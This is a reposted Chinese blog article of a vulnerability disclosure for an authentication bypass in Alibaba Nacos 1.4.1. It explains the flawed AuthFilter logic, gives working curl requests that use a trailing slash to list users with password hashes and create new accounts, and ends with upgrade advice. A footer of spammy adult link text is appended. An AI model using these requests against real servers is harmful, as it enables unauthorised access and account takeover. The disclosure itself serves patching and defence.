1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        阿里 Nacos 驚爆安全漏洞,火速升級(jí)!

        共 910字,需瀏覽 2分鐘

         ·

        2021-01-23 12:47

        Java技術(shù)棧

        www.javastack.cn

        關(guān)注閱讀更多優(yōu)質(zhì)文章



        漏洞來源:github.com/alibaba/nacos/issues/4701

        我發(fā)現(xiàn)nacos最新版本1.4.1對于User-Agent繞過安全漏洞的serverIdentity key-value修復(fù)機(jī)制,依然存在繞過問題,在nacos開啟了serverIdentity的自定義key-value鑒權(quán)后,通過特殊的url構(gòu)造,依然能繞過限制訪問任何http接口。

        通過查看該功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server繞過鑒權(quán)的安全問題。

        但在開啟該機(jī)制后,我從代碼中發(fā)現(xiàn),任然可以在某種情況下繞過,使之失效,調(diào)用任何接口,通過該漏洞,我可以繞過鑒權(quán),做到:

        調(diào)用添加用戶接口,添加新用戶(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用戶登錄console,訪問、修改、添加數(shù)據(jù)。

        一、漏洞詳情

        問題主要出現(xiàn)在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

        public?class?AuthFilter?implements?Filter?{

        ????@Autowired
        ????private?AuthConfigs?authConfigs;

        ????@Autowired
        ????private?AuthManager?authManager;

        ????@Autowired
        ????private?ControllerMethodsCache?methodsCache;

        ????private?Map,?ResourceParser>?parserInstance?=?new?ConcurrentHashMap<>();

        ????@Override
        ????public?void?doFilter(ServletRequest?request,?ServletResponse?response,?FilterChain?chain)
        ????????????throws?IOException,?ServletException?
        {

        ????????if?(!authConfigs.isAuthEnabled())?{
        ????????????chain.doFilter(request,?response);
        ????????????return;
        ????????}

        ????????HttpServletRequest?req?=?(HttpServletRequest)?request;
        ????????HttpServletResponse?resp?=?(HttpServletResponse)?response;

        ????????if?(authConfigs.isEnableUserAgentAuthWhite())?{
        ????????????String?userAgent?=?WebUtils.getUserAgent(req);
        ????????????if?(StringUtils.startsWith(userAgent,?Constants.NACOS_SERVER_HEADER))?{
        ????????????????chain.doFilter(request,?response);
        ????????????????return;
        ????????????}
        ????????}?else?if?(StringUtils.isNotBlank(authConfigs.getServerIdentityKey())?&&?StringUtils
        ????????????????.isNotBlank(authConfigs.getServerIdentityValue()))?{
        ????????????String?serverIdentity?=?req.getHeader(authConfigs.getServerIdentityKey());
        ????????????if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
        ????????????????chain.doFilter(request,?response);
        ????????????????return;
        ????????????}
        ????????????Loggers.AUTH.warn("Invalid?server?identity?value?for?{}?from?{}",?authConfigs.getServerIdentityKey(),
        ????????????????????req.getRemoteHost());
        ????????}?else?{
        ????????????resp.sendError(HttpServletResponse.SC_FORBIDDEN,
        ????????????????????"Invalid?server?identity?key?or?value,?Please?make?sure?set?`nacos.core.auth.server.identity.key`"
        ????????????????????????????+?"?and?`nacos.core.auth.server.identity.value`,?or?open?`nacos.core.auth.enable.userAgentAuthWhite`");
        ????????????return;
        ????????}

        ????????try?{

        ????????????Method?method?=?methodsCache.getMethod(req);

        ????????????if?(method?==?null)?{
        ????????????????chain.doFilter(request,?response);
        ????????????????return;
        ????????????}

        ????????????...鑒權(quán)代碼

        ????????}
        ????????...
        ????}
        ????...
        }

        可以看到,上面三個(gè)if else分支:

        第一個(gè)是authConfigs.isEnableUserAgentAuthWhite(),它默認(rèn)值為true,當(dāng)值為true時(shí),會(huì)判斷請求頭User-Agent是否匹配User-Agent: Nacos-Server,若匹配,則跳過后續(xù)所有邏輯,執(zhí)行chain.doFilter(request, response);

        第二個(gè)是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本對于User-Agent: Nacos-Server安全問題的簡單修復(fù)

        第三個(gè)是,當(dāng)前面兩個(gè)條件都不符合時(shí),對請求直接作出拒絕訪問的響應(yīng)

        問題出現(xiàn)在第二個(gè)分支,可以看到,當(dāng)nacos的開發(fā)者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,開啟該key-value簡單鑒權(quán)機(jī)制后,會(huì)根據(jù)開發(fā)者配置的nacos.core.auth.server.identity.key去http header中獲取一個(gè)value,去跟開發(fā)者配置的nacos.core.auth.server.identity.value進(jìn)行匹配,若不匹配,則不進(jìn)入分支執(zhí)行:

        if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
        ????chain.doFilter(request,?response);
        ????return;
        }

        但問題恰恰就出在這里,這里的邏輯理應(yīng)是在不匹配時(shí),直接返回拒絕訪問,而實(shí)際上并沒有這樣做,這就讓我們后續(xù)去繞過提供了條件。

        推薦閱讀:推薦一款配置中心新貴:Nacos。

        再往下看,代碼來到:

        Method?method?=?methodsCache.getMethod(req);

        if?(method?==?null)?{
        ????chain.doFilter(request,?response);
        ????return;
        }

        ...鑒權(quán)代碼

        可以看到,這里有一個(gè)判斷method == null,只要滿足這個(gè)條件,就不會(huì)走到后續(xù)的鑒權(quán)代碼。

        通過查看methodsCache.getMethod(req)代碼實(shí)現(xiàn),我發(fā)現(xiàn)了一個(gè)方法,可以使之返回的method為null

        com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

        public?Method?getMethod(HttpServletRequest?request)?{
        ????String?path?=?getPath(request);
        ????if?(path?==?null)?{
        ????????return?null;
        ????}
        ????String?httpMethod?=?request.getMethod();
        ????String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
        ????List?requestMappingInfos?=?urlLookup.get(urlKey);
        ????if?(CollectionUtils.isEmpty(requestMappingInfos))?{
        ????????return?null;
        ????}
        ????List?matchedInfo?=?findMatchedInfo(requestMappingInfos,?request);
        ????if?(CollectionUtils.isEmpty(matchedInfo))?{
        ????????return?null;
        ????}
        ????RequestMappingInfo?bestMatch?=?matchedInfo.get(0);
        ????if?(matchedInfo.size()?>?1)?{
        ????????RequestMappingInfoComparator?comparator?=?new?RequestMappingInfoComparator();
        ????????matchedInfo.sort(comparator);
        ????????bestMatch?=?matchedInfo.get(0);
        ????????RequestMappingInfo?secondBestMatch?=?matchedInfo.get(1);
        ????????if?(comparator.compare(bestMatch,?secondBestMatch)?==?0)?{
        ????????????throw?new?IllegalStateException(
        ????????????????????"Ambiguous?methods?mapped?for?'"?+?request.getRequestURI()?+?"':?{"?+?bestMatch?+?",?"
        ????????????????????????????+?secondBestMatch?+?"}");
        ????????}
        ????}
        ????return?methods.get(bestMatch);
        }
        private?String?getPath(HttpServletRequest?request)?{
        ????String?path?=?null;
        ????try?{
        ????????path?=?new?URI(request.getRequestURI()).getPath();
        ????}?catch?(URISyntaxException?e)?{
        ????????LOGGER.error("parse?request?to?path?error",?e);
        ????}
        ????return?path;
        }

        這個(gè)代碼里面,可以很明確的看到,method值的返回,取決于

        String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
        List?requestMappingInfos?=?urlLookup.get(urlKey);

        urlKey這個(gè)key,是否能從urlLookup這個(gè)ConcurrentHashMap中獲取到映射值

        而urlKey的組成中,存在著path這一部分,而這一部分的生成,恰恰存在著問題,它是通過如下方式獲得的:

        new?URI(request.getRequestURI()).getPath()

        一個(gè)正常的訪問,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path將會(huì)是/nacos/v1/auth/users,而通過特殊構(gòu)造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path將會(huì)是/nacos/v1/auth/users/

        通過該方式,將能控制該path多一個(gè)末尾的斜桿'/',導(dǎo)致從urlLookup這個(gè)ConcurrentHashMap中獲取不到method,為什么呢,因?yàn)閚acos基本全部的RequestMapping都沒有以斜桿'/'結(jié)尾,只有非斜桿'/'結(jié)尾的RequestMapping存在并存入了urlLookup這個(gè)ConcurrentHashMap,那么,最外層的method == null條件將能滿足,從而,繞過該鑒權(quán)機(jī)制。

        二、漏洞影響范圍

        影響范圍:1.4.1

        三、漏洞復(fù)現(xiàn)

        訪問用戶列表接口

        curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

        可以看到,繞過了鑒權(quán),返回了用戶列表數(shù)據(jù)

        {
        ????"totalCount":?1,
        ????"pageNumber":?1,
        ????"pagesAvailable":?1,
        ????"pageItems":?[
        ????????{
        ????????????"username":?"nacos",
        ????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        ????????}
        ????]
        }

        添加新用戶

        curl?-XPOST?'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

        可以看到,繞過了鑒權(quán),添加了新用戶

        {
        ????"code":200,
        ????"message":"create?user?ok!",
        ????"data":null
        }

        再次查看用戶列表

        curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

        可以看到,返回的用戶列表數(shù)據(jù)中,多了一個(gè)我們通過繞過鑒權(quán)創(chuàng)建的新用戶

        {
        ????"totalCount":?2,
        ????"pageNumber":?1,
        ????"pagesAvailable":?1,
        ????"pageItems":?[
        ????????{
        ????????????"username":?"nacos",
        ????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        ????????},
        ????????{
        ????????????"username":?"test",
        ????????????"password":?"$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        ????????}
        ????]
        }

        訪問首頁http://127.0.0.1:8848/nacos/,登錄新賬號(hào),可以做任何事情

        regards, threedr3am

        三、 修復(fù)建議

        2021年1月14日 Nacos 1.4.1剛發(fā)布,會(huì)直接在1.4.1進(jìn)行hotfix。

        請用戶直接下載最新的1.4.1版本進(jìn)行部署升級(jí)。

        https://github.com/alibaba/nacos/releases/tag/1.4.1

        最后,關(guān)注公眾號(hào)Java技術(shù)棧,在后臺(tái)回復(fù):面試,可以獲取我整理的 Java 系列面試題和答案,非常齊全。






        關(guān)注Java技術(shù)??锤喔韶?/strong>



        戳原文,獲取精選面試題!
        瀏覽 48
        點(diǎn)贊
        評論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評論
        圖片
        表情
        推薦
        點(diǎn)贊
        評論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

          <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            嫩BX区二区三区的区别 | 久久天堂伊人 | 扒开老师双腿猛进入喷水视频 | 欧美精品18p | 国产精品99久久久久久久久久 | 国产精品免费在线视频 | 欧美色道 | 亚洲午夜精品成人毛片 | 香蕉久久成人国产精品 | 天天色天天操综合 |